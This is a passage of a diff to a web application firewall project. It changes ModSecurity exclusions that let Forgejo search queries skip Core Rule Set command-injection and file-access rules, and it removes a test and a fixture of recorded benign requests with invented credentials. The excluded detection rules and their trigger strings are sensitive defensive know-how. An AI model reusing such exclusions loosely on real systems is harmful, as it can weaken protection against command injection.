# 932120: powershell-scripts
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
# The searches:
|
# The searches:
|
||||||
# - the dashboard's filter of repositories;
|
# - the dashboard's filter of repositories;
|
||||||
|
# - the repositories on a user's or an organisation's page, whose path has
|
||||||
|
# one segment;
|
||||||
# - the author filter of the issue and pull request lists;
|
# - the author filter of the issue and pull request lists;
|
||||||
# - the lists of users and organisations, and the API's search for users.
|
# - the lists of users and organisations, and the API's search for users.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
|
||||||
explore/(?:users|organizations)|api/v1/users/search|\
|
explore/(?:users|organizations)|api/v1/users/search|\
|
||||||
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
||||||
"id:900603,phase:1,pass,nolog,\
|
"id:900603,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
# The repositories on a user's or an organisation's page are searched with q
|
|
||||||
# too. Their path has one segment, so q skips these rules on every path of one
|
|
||||||
# segment, other apps' pages such as /index.php included:
|
|
||||||
# 930120: .profile
|
|
||||||
# 932120: powershell-scripts
|
|
||||||
# 932260: python3-app
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
|
|
||||||
"id:900604,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# On those pages q skips 932250 too, which refused ls -la, but only on a path
|
|
||||||
# made of the characters a user's or an organisation's name may hold. Those are
|
|
||||||
# letters, digits, -, _ and dots, the first a letter or digit, so
|
|
||||||
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
|
|
||||||
# script's extension keeps it too, such as /index.php or /search.cgi.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
|
|
||||||
"id:900606,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
|
|
||||||
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
|
|
||||||
|
|
||||||
# These requests name a file in the path, which skips these rules there:
|
# These requests name a file in the path, which skips these rules there:
|
||||||
# 920500: notes.txt~
|
# 920500: notes.txt~
|
||||||
# 934100: process.env.d.ts
|
# 934100: process.env.d.ts
|
||||||
|
|||||||
@@ -149,25 +149,6 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|||||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
|
||||||
// defaults only. While bodies are read, the Core Rule Set still refuses the
|
|
||||||
// file and branch names some of them carry in a form or JSON body, as it does
|
|
||||||
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
|
|
||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
|
|
||||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
||||||
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
|
||||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
-474
@@ -1,474 +0,0 @@
|
|||||||
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
|
|
||||||
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
|
|
||||||
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
|
|
||||||
# the API and the generic package registry, and by crane on the container
|
|
||||||
# registry. Each line is one request as JSON. Names, addresses and passwords
|
|
||||||
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
|
|
||||||
# multipart part that is not text is written as base64.
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
|
|
||||||
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
|
|
||||||
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
|
||||||
